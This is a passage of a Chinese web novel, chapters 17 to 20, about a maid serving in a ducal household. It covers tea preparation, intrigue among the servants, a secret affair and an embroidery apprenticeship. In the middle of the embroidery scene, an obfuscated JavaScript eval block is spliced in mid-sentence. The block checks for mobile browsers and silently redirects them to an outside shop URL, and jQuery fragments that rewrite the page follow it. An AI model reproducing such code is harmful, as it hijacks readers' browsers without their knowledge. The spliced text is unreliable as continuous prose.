万氏就道:“我起小就伺候世子夫人的,她外强中干,身子骨儿其实不是很好,若非如此,怎地程家陪嫁了好几个丫头过来,甚至还有个气喘的毛病。她又是个要强的性子,怕是闲不住,我看她这一胎怕是很难。” 惜娘想起小程氏上一胎就小产了的,也觉得不大合适,然而,世子夫人的喜事,她们这些人也没什么置喙的余地。 17.挖坑 饭毕,大伯母张银娥过来了,自从去年惜娘和万氏说了那件事情后,万氏对张银娥淡了下来,只不过依着礼节,并不会和以前一样,全剖一幅心肠给人家。 张银娥见了惜娘就笑道:“看着愈发标致了。” “大伯母今儿怎么有空过来?”惜娘问起。 张银娥是个兜着话都能跑的人,她要是能知道个什么,也没处说,就找万氏说。现下她说道:“弟妹,你还不知道吧,那银匠青哥儿的老婆头被人割了,听说是她男子汉做的,正要割那个奸夫,那奸夫早就跑了。” 奸夫这两个词,万氏听到有些皱眉,到底女儿在这里,这个嫂子也太不管不顾了,但是听说把人的头都割了,骇了半天。 便是惜娘也是听了咋舌,见家里的小丫头小玉兰听的吐舌头,万氏让她们先出去,惜娘便带小玉兰去自己房里,与了她两朵绢花戴,又见她年纪不大,就道:“你在家里,寻常粗活我爹和哥哥就做了,但是你要跟我娘学些斟茶女红,将来出去,也不至于什么都不懂,知道么?” 小玉兰见惜娘起身往香炉里塞了个丸子,看起来行云流水的,不免道:“小姐,您这样做的真好看。” 惜娘想那里面有专门的教引嬷嬷们,她们这些丫头,也是国公府的脸面,但是为了表现得更好,身上那根弦始终不能松。 但她现在已经不算可怜了,就像面前这个小玉兰,从小受饿受冻长大的,现下春天了,天气这么好,她鼻涕还总流,时不时打个喷嚏,这就是鼻炎,很多鼻炎就是受冻感染了风寒。 大伯母说了好一程子话才走,惜娘却想那青哥儿原本是王府的银匠,充作一个校尉,后来没什么生计,投奔了国公府来,只没想到他真的有血性,不似别人做活王八。 可奸夫是谁呢? 奸夫惜娘不知道,但是二房有些耳聪目明的人却知道,新近的姚姨娘正和李姨娘说道:“真不成个样子,你就这样偷人家的老婆么?那个媳妇子也是平日夹缠不休,这下好了,丢了性命。” 李姨娘给二老爷生了一双儿女,尤其是儿子,还是二房的长子,这马上也要到了成亲的年纪,就怕出什么事情,还好混过去了,二老爷逃脱的及时,不免道:“那个小青哥气性也太大了,有什么你好好说就是,何苦要了人性命呢?” 姚姨娘努嘴:“这本该二太太管管的,偏他不做声,若是再不管了,日后性命都丢了。” 李姨娘看了姚姨娘一眼:“我倒是想说,可我这个人不大会说话,一不小心就得罪人,到时候弄巧成拙,反而是不好。” “那就我去说。”姚姨娘当真和二太太说了,二太太倒是劝解了二老爷几句,二老爷反倒觉得二太太揭她伤疤,好一阵子不来这里。 惜娘进府来,虽然也影影绰绰听到一些,但也不真切,倒是不敢说什么。 这一年的清明,她就没去年那么忙了,茶房窨好的茶也够喝了,但钱嬷嬷那里的关系还得维持着,她相当于跟钱嬷嬷学的好手艺。 所以,这次做了一双鞋,亲自请她老人家过来,还斟了一杯茶给她。 钱嬷嬷也是闲话家常,说起世子夫人有孕这事儿:“说起来还要多谢我们钟姑娘的荐引,若不是她,还没有这么好的大夫呢。” “到时候世子夫人若是再得一子,不知道要如何谢她呢?”惜娘笑道。 钱嬷嬷笑道:“日后都是一家人,说什么谢不谢的。” 惜娘也耳闻说把钟姑娘说亲给六少爷,毕竟亲上加亲嘛,但是突然又有个孙德芳孙姑娘,最后鹿死谁手还未必呢? 但她也不会傻乎乎的把这些事情说出来,只附和了几句,钱嬷嬷又说了些府中的事情,方才离开。 惜娘裁了些刀纸,把茶窨的做法都重新整理了一遍,回到房中,璎珞正是春困的时候,睡迷糊了,还惬意的翻了个身,惜娘笑着摇摇头,自己也靠在床边小憩了一会儿。 做丫头也不是时时刻刻都忙的,现下就可以有自己的时间,休息或者做会儿女红都可以。 这当然也是有大太太她们在,府里自然有人管着,规矩森严,但三皇子妃有了身孕,快要临盆,大太太进宫陪产,世子夫人也要卧床养胎,老太太便让二太太和三太太一并管家。 二太太素来病弱,平日二房还要几个姨娘轮番操持,三太太虽然听说以前还不错,但她一个寡妇,哪里敢随意管人,不过应付一二罢了。 以前巡夜的,是真切的要各院熄灯才行,如今六少爷哪里肯那么早就睡,要夜里和丫头们一起玩。 惜娘就私下和琳琅道:“大太太不在家,二太太和三太太管家,若是抓到咱们这群人,岂不是丢了大太太的脸?到时候,知道的说六少爷一时顽皮,不知道的,还以为咱们故意这般。况且,其身正,不令而行;其身不正,虽令不从。” 琳琅想着是,便劝解了几句,璎珞却在一旁道:“别啰嗦了,一起来玩儿吧,也不是天天玩儿,今儿玩一下又怎么了?” 琳琅见六少爷应下,她也去和她们打双陆了,只惜娘推说身子不舒服,先去睡了。 璎珞等惜娘离开,就对琳琅道:“等会儿把她喊起来一起玩,别到时候她不玩儿,去人家那里告我们。” “你也太多心了。”琳琅摇头。 璎珞则笑道:“咱们这院子里,她是最爱装样的,难道只有她一个人是好人,咱们都是奸的不成?” 其余的人只要玩耍就够了,巴不得松快些,个个都在烛火下玩,璎珞半路过来喊她,却是怎么也喊不醒惜娘,倒也作罢了。 次日,个个都睡的极晚才起来,甚至六少爷今日还迟到了,被二少爷告到镇国公那里,国公爷把六少爷好生说了一顿。 二太太知道大太太最看重这个宝贝儿子,当然也喊琳琅过去吩咐了一遍,惜娘也不说任何风 凉话,你做大丫头的劝阻了,主子硬是不听就算了,你还跟着一起玩,那人家也没说错。 不过,这个时候始作俑者璎珞就不吭声了,仿佛和她无关。 琳琅对惜娘道:“昨日悔不该不听你的。” “哎,我也是多嘴说一句,有些事情主子错了,还不是我们做奴婢的担着责任。六少爷平日对我们都很好,如此,我们越发要为她好才是。你看上回,六少爷骑马摔了腿,两个小厮挨了板子,若是她出什么事情了,还别说咱们日后能不能在府里待下去,怕是被打就完蛋了。”惜娘也没想到就一个晚上,六少爷就被人说了。 是啊,别看这内院,都只有她们这几个丫头,但是那些婆子们呢,怕是墙缝里也钻着人,就像钱嬷嬷在钟姑娘那里伺候,真是什么都知道,只是平日装不知道罢了。 琳琅听了点头:“日后你的话,我都当金玉良言。” “我也只跟姐姐说罢了,到了这里,承蒙姐姐照顾许多,若只顾在少爷跟前卖好,那我算什么。”惜娘道。 丫头们也有派系,也有纷争,不要总是人家挖坑给自己跳,她也得挖坑啊。 这天晚上,六少爷就在书房乖乖写功课,惜娘在书房伺候,她索性拿了绷子在那里做针线。马上要过端午,六少爷身上也要佩戴五毒的香囊,扇套那些也要一套,古代可不是现代,这些东西都得身边的人手工做。 “珊瑚,帮我倒一杯茶来。”六少爷喊道。 惜娘连忙又去茶房,想着晚上不能喝浓茶,就弄了一盏茉莉香片来,先放旁边晾着,又继续做针线。 等察觉晾的差不多了,杯盏不烫的时候,才端过来,六少爷品了一口,才道:“这茉莉香味算是泡出来了,却又不那么浓,这样很好。上回去驸马府上,奇哥那里上的茶,花太多,反倒是压过了茶的味道。” “花香过重,反而很容易夺了茶的味道,主次不分了。” 六少爷听了笑了一下,倒是觉得惜娘每次说话都自有一番道理。 等六少爷功课快做完的时候,惜娘让门外的柳儿去给琳琅报信,让她准备热水,供六少爷沐浴。 如此,惜娘这一日的事情算是做完了。 次日,她们又要陪六少爷去徐老夫人处请安,正逢公主来,还带了宝贝儿子过来,这位的相貌比六少爷生的还好一些,但是公主管他管的很严,平日不是读书就是习武。 但是话说回来,这样精致漂亮的主子,她们并没有什么风流公子俏丫鬟的心思,因为在她们眼中,好伺候的主子,就是容貌再不当事儿,在下人心里都是好人,而那些生的好看的,却不好伺候的主子,她们也是唯恐避之不及的。 就像这位奇公子,人前乖巧,人后蔫坏,惜娘端茶的时候,让他用弹弓打子弹打到她的腿上,疼的惜娘冷汗都要冒出来了,还得忍着上茶,否则,你反应过大,他指不定日后更捉弄你。 18.落湖 “嘶,太疼了。”惜娘在茶房不停的揉着自己的小腿。 柳儿道:“这位奇少爷也太过分了些,亏得每回都有人夸他呢,怎地这般爱捉弄人啊。” 惜娘小声道:“快别说了,我若是闹大了,又无人作主,到时候怕是我就得被撵出去了。”上位者犯了错,被人发现时,不是去改正这个错误,而是想着消弭掉。 这位奇少爷也不是常过来,自能忍下来了。 两位少爷说话期间,钟姑娘、高姑娘、孙姑娘、二姑娘并几位少爷小姐都来了,直把太白院忙狠了,丫头们都要奉茶上点心。 还好惜娘早已烧了热茶,先把茶泡在这里了,各自用托盘盛好,她也去前面上了茶,奉完茶就眼观鼻鼻观心的站在一旁。 要说这来的三位表小姐中,也是性情各异,高小姐始终如履薄冰,钟姑娘则是老神在在,孙姑娘又是落落大方的样子。 不过高小姐倒是个有意思的人,表现出来如履薄冰,其实又很进取,像这样的场合,从来都不会少了她的份儿。 甚至有时候,她比钟姑娘来的次数还多。 但想起高小姐,就姐弟两个人,她弟弟年纪又不大,只能自己上进一些了。就跟琳琅一样,也有那些争做小妾的心思,这在惜娘看来,女子无法科举,也很难处出仕,她们也只有通过嫁一个好人,将来夫荣妻贵,才能过上好日子。 所以惜娘也能理解,如果琳琅成了妾,将来的儿女不管再怎么样,也是少爷小姐,就像如今的二小姐似的,她娘是丫头,她却是国公府的千金,没谁敢低看她一眼? 如今上门提亲的,人才如何先不说,至少门第都是相当的,几乎都是勋贵门第,大太太对这个女儿的亲事也很上心。 至于孙德芳孙小姐,她祖父已然年迈,不知道还能撑几时,哥哥虽说是个举人,但看他上次带六少爷打马球,用小少年和成年人打,导致六少爷摔马,必定也不是周全之人,她也得为自己的前途拼一把。 这里面还要属六少爷点子多,他道:“此时天气闷热的很,不如我们在家里游湖,咱们一起吹吹风,我们湖上泛舟,也多添诗兴啊。” 众人同意后,六少爷让三小姐徐玉柔和她母亲三太太去说,仆妇们要放船,惜娘她们这些丫头则又要准备六少爷穿戴的常服两套,防滑的靴子,茶具提炉,攒盒杯具,点心鲜果,佐酒小菜,文房四宝…… 一共也要好几幅担子才行,琳琅一边打发两个小丫头去厨房要点心攒盘小菜,一边让府里的人收拾起来。 惜娘则收拾茶具,反正到时候也是她来奉茶,众人忙的是热火朝天,但钟小姐又道:“我看还是算了吧,咱们这一行也有十来口人,算上伺候的人,那要多少舟具啊,拥挤的很,到时候玩儿的也不尽兴。还不如去园子里作耍。” “这倒是了,咱们不如去园子里投壶去。”二小姐也赞成。 她们乌泱泱一群人走了,准备香药的庆儿正好把香饼、香炉还有几样医药准备好,有些怔愣的看着惜娘:“这就都不要了?” “放回原位吧,我也要搬回原位去了,琳琅和璎珞两个已经去花园子伺候了,咱们姑且就休息会儿吧。”惜娘的腿还隐隐作痛呢。 庆儿和银钏都是三等丫头,她们俩是伺候六少爷洗澡的,庆儿和璎珞就有些不对付,等她们走了,庆儿到房里找惜娘说话。 “珊瑚姐姐,你腿还好吧?”庆儿问起。 惜娘知道她是找一个说话的由头,就笑道:“还好吧,没青紫,就是当时有点疼。” “哎,其实我真为你不值得,也是为我们不值得,咱们几个平日帮着琳琅姐姐做活儿做的最多,有一点差错,反倒分派我们的不是,可璎珞姐姐什么都不做,也没人说她。”庆儿就是不服。 惜娘安慰道:“这事儿我也没法子。” 俗话说人要倒,都得有个引子,到时候墙推众人倒,璎珞不仅是公主府送来的人,她生的漂亮,性子活泼有趣,很得六少爷青眼,只要现在上头的人不发话,她就没事。 但惜娘也安慰她:“你现下还是三等丫头,先好好把事儿做好才是,旁的也不是咱们能操心的。” “也是,就像我娘好赌,最近没人查,她是吃酒赌牌,刚到手的月钱花个精光,还把我的月钱也要去了,真是的。”庆儿也是寡母拉扯长大的,她娘也在府里上工,母女俩感情很好,但就是这点她心烦。 惜娘一听,皱眉道:“你可要跟你娘说一下,别到时候把差事都丢了。大太太也不过去宫里一两个月就回来了,到时候看到家里这样,肯定生气,尤其是吃酒赌牌,最容易出事故了。” 赌上瘾了是没人性的,如果有的人正好手头紧,守门的人可以直接放人进来,将来还不知道出什么乱子。 即便一时出不了什么乱子,小偷小摸也难说。 大太太素来治家严谨,否则,她是做续弦的,比原配还活的神气呢。 六少爷他们一行人玩的很尽兴,钟闰之身处其中,也觉得这样的日子颇为无忧无虑的,再看孙德芳如今一直围在六表兄身边,可谁又能想到前世她是徐士奇的续弦呢? 人生的际遇,真是难说。 就像六表兄如今明显有温柔体贴的琳琅,和娇艳动人的璎珞,可谁知道最后留下来的是名不见经传的珊瑚呢?也就是所谓的何姨娘。 她们玩了一处,又去徐老夫人那里吃饭,徐老夫人喜欢热闹,且等晚上散了回来,惜娘她们又上前伺候。 六少爷倒真的是个细心的人,见惜娘过来,仔细问道:“怎么样了?奇大哥用弹弓要打那花,我看着他仿佛打到你了。” “把我小腿敲了一下,可那时候那么多人,我也不好出声,扰了你们的雅兴。”惜娘当然要为自己表白。 六少爷听了甚是感动,送了个小玉雕给她,惜娘忙谢过,反过来安慰六 少爷:“我的事情您就别挂在心上了。” 不管怎么说,六少爷这个少爷,和别的主子相比,其实心地还算善良。 因上次说游湖,又没游成,六少爷觉得扫兴,这次便只请了徐士奇,还有二房三房的堂兄弟们一起去。 这样惜娘她们这样的丫头不必过去,都让小厮送过去罢了。 只不过这一玩耍,倒是出了件事儿,徐士奇提议玩水上飞镖,偏偏三房的五少爷不顾眼前,直接栽到湖里去了,五少爷是三房的独苗苗,三太太本来在议事厅议事,出了身白毛汗,差点急的晕了过去。 还是徐驸马领了太医过来,把人救了过来,这才好一些。 惜娘也代替六少爷去探病,听说人醒了,方才回来回话,不曾想却看到了胡婆子。 “三房也真是可怜,其实三太太早前嫁过来的时候,也不是现在这样,也是会说会笑,不似现在跟惊弓之鸟似的。”胡婆子很知道些事体。 “家里没了男子汉,就是这样,幸好三太太有一双儿女,已经是比别人幸运许多了。”惜娘以前还小,不知道这许多事情,如今在这府里,也算是见过人生百态了。 听高小姐说她爹娘在的时候,高老爷家里种着一大片杏花,高太太很会诗文,教女儿读《诗经》《乐府》,但一遭父亲亡故,宅田几乎都被占了,还有人打算收养弟弟,把高家弟弟关在牛棚里,猪圈里,她说她若是不跑出来,就是一死。 就不说别的,现代社会女性独居,都要为安全问题担忧。更何况古代,女子大门不出二门不迈,若是家里失去了男子,很容易被吃绝户不说,还容易丧失话语权。 其实三老爷的死和三太太没有关系,偏偏不少人觉得是三太太生的太妖娆,所以克死了他。当然,三太太行事也不谨慎,丈夫死了,还和以前那样,所以被厌弃了,如今随着三小姐五小姐长大,她境遇好了许多。 二人闲说了几句,惜娘就等着回话去了。 倒是徐驸马据说很过意不去,来探望了五少爷几遭,惜娘则看着如今荷花盛开,想做些莲心茶,但要日暮时分才能摘,她只得吃完晚饭后,自己过去。 夕阳的金边似倾泻下来一般,惜娘拿着竹篙的头子钩住了荷花头,这样摘了大半袋,夜幕已至,惜娘又没带灯笼,只好抄小道赶紧回去。 从湖边过一道穿廊,便是三房住的地方,前面倒是有个佛堂,佛堂的窗户开了半扇,从对面惜娘却看到了一幕。 今日早上大家还在夸的玉树临风的徐驸马站着,不知道对跪在前面的三太太蛄蛹什么,二人满面通红。惜娘暗道不好,赶紧轻步往回走了。 到了院子里,惜娘才平复下来,真没想到这大伯子和弟妹竟然干上了。 亏得今日还不少人夸徐驸马如何好,和公主感情好,原来都是假的!不过,她得表现的越平静越好,否则,事出反常必有妖,没自己的事情都怪在自己身上。 19.奸情 三太太惬意了许多,推了推他:“你快回去吧,这几日也多蒙你看顾,自从三郎过世,我寡居至此,再也没有这样的快乐了。” “我又何尝不是如此?当年分明是我向你家求娶的,可惜造化弄人。”徐驸马扣着衣裳,无不哀怨。 当年他爹和袁氏的爹是同科进士,两家通家之好,偏偏他被皇帝看中,做了驸马,袁氏嫁到长房来,二人彼此没有瓜葛。 可袁氏丧夫之后,日子变得艰难起来,尤其是袁家辞官回乡之后,她底下的人都不听她使唤,各个都恨不得捡着高枝飞。 有那下人,分明求着自己放她出去,她还好心赏了她东西,结果人家说她不能容人,三老爷一去,就把三老爷的通房都赶走了,那被放出去的人也默不作声,装受害者。 这便不说了,她房里常常不见贴身的小衣,绣鞋,去求昔日待她如珠如宝的婆母,婆母却对她改了颜色,反倒觉得她太过浪荡,从此对她印象也不好了。 她一个鲜活的女人,却要装作槁木死灰一般,着实让人难过。 也就是这个时候,她看到了徐驸马对她眼眸中露出来的怜惜,她想反正自己名声也怀了,还不如为儿子寻一个靠山,否则将来儿子女儿的前程,谁会管呢? 徐驸马对她自然是不错,平日私下常常接济,她女儿的亲事徐驸马也许诺了,到时候请媒人上门。 不管别人怎么说,她对徐驸马是有三分温存的。 徐驸马穿好衣裳,就先回去了,驸马和公主虽然住在一处,但二人与其说是夫妻关系,不如说是很亲近的君臣关系。 每次去拜见公主,都还有一套繁文缛节,着实累人。 分明他也是读书极好的,不说出将入相,但做个小官,总比人家一口一个驸马喊着好,虽然有通天的青云路,到底意难平。 看他,为了公主几乎没有置妾。 永嘉公主对驸马其实也很满意,成婚日久,身边不置一妾,对她言听计从,她的那些姊妹们,虽然贵为公主,家里一团糟,驸马们狎妓纳妾的比比皆是,都比不得她。 “奇儿这几日,你们要拘着她好生读书才是,虽说我们这样的人家,读不读书无所谓,可是徐家是诗礼人家,他祖父父亲学问都极好,他若是能够读书读出来,也算是很好了。”永嘉公主道。 她乳母桂妈妈道:“公主,三皇子妃诞下麟儿,他一直是太子党,将来若是太子登基,三皇子想必也能博个贤王,咱们几府也跟下一任皇帝关系能好啊。” “是啊,镇国公府也不是什么丹书铁券的人家,五代列公袭满,就和寻常人差不多了,如今到了世子,这都是第三代了,不过两代,镇国公府就泯然众人也。本来我是想着镇国公厉害些,在宣大打一场胜仗,大丫头怕是太子妃的位置都能坐,可偏偏他最后失手了。”永嘉公主也在抱怨。 桂妈妈道:“也是她时运不济,否则哪里轮得到安平侯的女儿做太子妃。” 永嘉公主摆手:“罢了,先不说这些了,奇儿也十三了,我想是时候帮他相看了,早日定下亲事,也把他的心先定下来。” 她主仆二人正说着话,见外面丫鬟送了莲子银耳羹来,还道:“是驸马让人送来的,说天干物燥,让您吃下一碗好入睡。” 那莲子银耳都是要熬许久的,想必驸马早就想着了,永嘉公主甜蜜一笑。 再说惜娘这边,接下来几天,她是怎么样都坚决不出去,就在茶房做荷花茶,先把要窨的茶放进纱布包好,再塞进荷花里,用绳子绑好,等它窨制好了,才焙干,放在茶罐里。 等六少爷要喝的时候,她再拿出来,做了冰盏子,又解渴,又清香。 “你的手艺也是愈发好了。”六少爷称赞道。 惜娘笑道:“我也只会这些微末功夫了,您别嫌弃才是。” 即便六少爷人不错,但惜娘也只是把她当作一个人还不错的 老板,她就安安分分做好打工人就行了,无论如何赚钱最重要。 七月,三皇子妃诞下一位小皇孙,洗三时,赐下不少礼物让大太太带回来分给诸人,给六少爷这位胞弟的自然最厚。 连中三元的金锞子两对,二十个元宝,碎银一匣子,玉带镶嵌东珠腰带一封,蹀躞带一枚,整套的文房四宝,新书,再有宫缎也分了四匹过来,皮子银器更不必说。 惜娘真是觉得自己见钱眼开,六少爷夸她一句,她虽然高兴,但这个高兴一笑而过,可是六皇子给了她一对小元宝,一共十两银子,她却很欢喜。 得了赏赐,惜娘自然也为六少爷打点一番,捧了两样新制的茶,让六少爷给大太太那边吃,能够降火去燥,她见大太太嘴上都起泡了,送这个正合适。 六少爷也觉得好,请安的时候正好送去了,大太太欢喜他这孝心,又与了他不少好东西。 自然,大太太回来发现有些赌博吃酒的人,好一顿惩处,连她三叔据说也被打了几板子,好不容易又进府了,差事又没了。 还好三叔的长子进了府,他们夫妻干脆绝了在府里做事的心,还是外面偷偷卖早点去了。 惜娘想的是那位驸马现下总算是没办法和三太太那样了,三太太一个守寡的人,若是被发现了这样的家族丑事,恐怕驸马不会如何,她就倒霉了。 阖府现在都为了三皇子妃诞下麟儿高兴,徐老夫人也给府中下人都发了双倍月例,大家都喜气洋洋的。 唯独钟闰之,却知道这个孩子根本活不久,两岁出痘夭折了。 若非这样,高柳娘也不会进三皇子府,她得一边想法子帮三皇子妃的忙,阻止高柳娘进府,日后,三皇子妃做了皇后,镇国公府好,外祖母才好,她也不必和书里一样了。 恰好她从徐老夫人那里听了个消息,徐家三房的人要回来了,三房常年经商在外,有个儿子未成亲,她想这也不算埋没了高柳娘。 20.一喜一悲 钟闰之盘算的很好,但是徐家三房也不傻,她家女儿徐玉照先住在徐老夫人处,不动声色的打听徐家人的情况。 徐玉照本来算是六少爷隔房的族妹可,但是亲热的跟亲妹妹似的,而且出手大方,就是惜娘她也得了这位三房照姑娘的一条香黄地桃榴纹暗花潞绸的裙子,同房的璎珞得的是一条木红地折枝玉兰花潞绸裙子。 庆儿和柳儿平素算是惜娘这一派的,三个人正在茶房说话,庆儿就道:“这位照姑娘保管是为了她和她哥哥的亲事回来的。” “可如今哪里管得上她的事情啊。”惜娘也不是开玩笑,府里二姑娘三少爷的事情且还要忙呢。 庆儿笑道:“横竖咱们府里的老太太若是作主,至少也能嫁个王孙公子才是,总比她家自己去寻强。” 惜娘摇头:“我看不见得。” 婚姻大事可不是儿戏,镇国公府表姑娘就好几个,家里姑娘也有好几位,这些人恐怕还没去处呢。再者,徐老夫人年纪也大了,稍微动弹一下都要歇息好几日呢。 徐玉照靠着大方,人又天真率直,很快就和府里几位姑娘混成一片了。 二房的李姨娘身子近来有些不好,四姑娘满面忧色,徐玉照也是送了一些药材过来,四姑娘就对她娘李姨娘道:“照妹妹人倒是不错。” 素来与人为善的李姨娘却摇头:“礼下于人,必有所求。我的身子骨我知道,怕是不久于人世了,你不必为我难过,我要求你爹,尽管为你许一桩好亲,你嫂嫂也快进门了,如此我即便撒手人寰,也是没有遗憾了。” “姨娘,您怎么能这么说呢?女儿还指望您活千百岁呢。”四姑娘含泪摇头。 李姨娘平日老实懦弱,现下却拉着女儿的手道:“二太太抠门,钱财上看的紧,人也没什么情谊。你日后面子功夫做到就行了,至于姚姨娘,那是个搅家精,她说什么,你就听着,千万别掺和。” 四姑娘记下了。 二老爷这个人是个很花心的人,却又对李姨娘不舍,为了完成李姨娘的心愿,一边让新娘子提前进门,一边帮四姑娘定下了一桩亲事。 她们要提前接新媳妇进门,自然要开始布置新房,布置府里,二房那些下人显然不够,惜娘她们这些丫头子也要过去帮忙。 树上要挂彩绢,还要提前擦洗所有喜字盖碗、茶盘、执壶,茶叶也要装好,那树上枝丫多,很容易一下就被刺到了。 “几位姐姐可要小心才是。”一个小厮在旁说起。 惜娘看了一眼,原来是二房的小厮吉安,这小子十五六岁左右,生了一双桃花眼,看起来油嘴滑舌的,庆儿几个还凑前说话,被惜娘喊回来干活。 二房的二老爷在男女之事上不清不楚的,这小厮也是油嘴滑舌,万一闹出点什么事情来,也是一发不可收拾。 忙活了几日,把二房的活计做完,惜娘点清楚了,就去二太太那里回话:“把那廊桥下的两百棵树都系上了彩绢,再有二十套杯具都清点出来了,分拣了几样茶,头一日来的王妃、郡主、公主诰命初上木樨金橙茶,次日来的女客则是木樨雀舌,男客们入席前则是雨前龙井。奴婢问了一下,说到时候席上有螃蟹,席后便上普洱茶。” 二太太听的清楚,不由“哎哟”了一声:“你叫什么名字,说话如此清楚?” “回二太太的话,奴婢是六少爷身边的珊瑚。”惜娘道。 二太太本来还想若是个小丫头就要过来了,但见这个丫头说话清楚,眼眸清亮,人也长的讨喜,没想到是六少爷身边的人,也怪道这般出挑的。 “我平日多见琳琅、璎珞两个,倒是少见你。” “我是个丑头怪脸的,不会说话,也不大会办事,六少爷轻易也不让奴婢出来呢。”惜娘笑道。 二太太见状,只好作罢,但还是赏了惜娘二钱银子打赏。 惜娘则又把瓷器说了一遍,二太太让身边的人记下了,她们几个丫头才回太白院,惜娘知晓六少爷不在意这些俗务,但打工人要学会做事留痕,向上管理,六少爷属于小主管,大太太属于总经理。 县官不如现管啊,所以惜娘也和六少爷说了这事儿,六少爷挥挥手:“知道了,你们下去吧。” 惜娘则回去休息了一会儿,下午要和琳琅、璎珞一起做针线,她在府里才认识好些布料子,像南边以苏杭为中心,苏杭产纻丝纱罗,北方则以山西为中心,擅长织羊绒。 而最好的绒料则出自于山羊,甘肃的兰州养的山羊最多,所以兰州的姑姑绒很有名,价值千金。听说那织花的羊绒,历时十个月,也不过二十匹。 再有那天鹅绒,很珍贵,六少爷也不过一件,其余的虽然也是天鹅绒,但那是本地漳州产的,用假纬织出绒圈。 其余的还有什么兜罗绒是从日本、琉球传入的,还有剪绒,刻丝、弹墨等等,天天接触这些都会了。 以前惜娘只是会做针线,如今跟着琳琅、璎珞学,也多会了些,她中午用饭后,拿了一钱银子让厨房弄了一壶酒又去找林嬷嬷学女红,人家可是会双面绣,还有双面异色绣的。 她在茶道上显然更擅长,但是女红也不能丢,不说学个什么双面异色绣,但是学绣个双面绣不为过,所以,她每日抽出一个时辰每天中午,风雨无阻去学双面绣。 这倒不是她多么好学,是因为她前世她经历过的,人生最奋斗的时候就是高中三年,到了大学人很容易松懈,工作后要专心致志的学习也很难。 之所以选林嬷嬷,是因为她教的很细致,不是那种囫囵教一下你,生怕你学了去,而是答应了教你,就认真教。 而林嬷嬷教她的缘故,则是因为惜娘礼节送的到位,她那些手艺随着她眼睛逐渐模糊,别的小丫头们早不耐烦这些老婆子们,惜娘则是一共花了十两,分两次付钱,要学手艺,她怎么可能不答应? 但是要学双面绣,并非先教绣技,而是教底料如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653980|205964||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 用,再就是劈丝。 林嬷嬷道:“珊瑚姑娘,这双面绣不是随便什么料子都能绣的,那些粗的绸缎,只能用单面绣,双面绣一定要专门用素绡、杭罗、薄绫,这样的料子不仅通透,经纬分明,更好绣一些。” 惜娘拿了笔记下,又开始劈丝,她如今最多能分八丝,但林嬷嬷的要求是十六丝,因为那些精细的花叶一定要十六丝才行。 原本她是想学香药的,日后若是脱籍出去,这香药利润最高了,可偏偏天分不高,是真的不高,无法融会贯通。 但劈丝之前,得净手,抹膏子,她埋头苦苦劈丝。 就在惜娘学双面绣时,三奶奶吴氏进门了,吴氏家世平平,但陪嫁万贯,算是极有钱的主子了。 吴氏进门后,四姑娘的亲事也顺势定下了,定的是相府亲家刑部侍郎之子,那家郎君听闻是个斯文的俊秀(秀才),两家迅速交换庚帖,那李姨娘已然是口不能言,身子不能动,但一直不肯咽气,见到四姑娘的婚事,才大笑三声,闭眼而去。 她一个妾侍过世,即便有些体面,但二老爷有高堂在,也不能死命大办,让三少爷四姑娘戴了孝,买了一口极好的棺材,葬入徐家的祖坟里了。 等李姨娘百日之后,惜娘三个月才学会劈开十六丝,在学劈丝的时候,她也同样练习齐针、套针,每天至少两个时辰起。 如此,林嬷嬷才开始教她双面绣,要先从兰叶、竹叶这样简单的纹样学,林嬷嬷不停念叨:“起针收针一定要记得藏好线。” “您放心。”惜娘学完之后,准备回太白院,一般这个时候六少爷就要回来了,她还得把茶备下,基本功不能忘。 偏这个时候,大奶奶小程氏发动了,六少爷倒是不好去嫂嫂屋子里,还很高兴的和琳琅惜娘她们说话,琳琅还道:“若是大奶奶生下孩子,过几日洗三,咱们也合计送些什么过去才是?” 惜娘笑道:“这些习俗我可不是很懂。” “金银锞子送一对,再送两色小衣裳过去,咱们几个赶制一套出来。”琳琅道。 惜娘同意:“成啊,等会儿就去裁些布来,衣裳你做,裤子我做,我再做一件肚兜。”本来她就在钻研针线,自然得多做才行。 这样的事情,璎珞素来觉得和自己无关的,琳琅也不喊她,惜娘就自动承接了。 六少爷见她们俩商量好了,就自顾去里面看书。 惜娘伺候六少爷吃完饭后,再等琳琅拿了布来,二人商量了一下,就打算在前面的大案上做针线。 天擦黑时,惜娘已经把裤子缝好了,准备等会儿点灯,先把肚兜锁边,明日再开始描花样刺绣。 琳琅和她一起伺候六少爷睡下,惜娘正提了灯笼要回房,却听见云板响了,嬷嬷们曾经说过敲三声是报喜,四声是丧事。 隐隐约约好像响了四声,惜娘心下一紧,却见胡嬷嬷进来道:“大奶奶生了个小哥儿后,因为难产过了身!”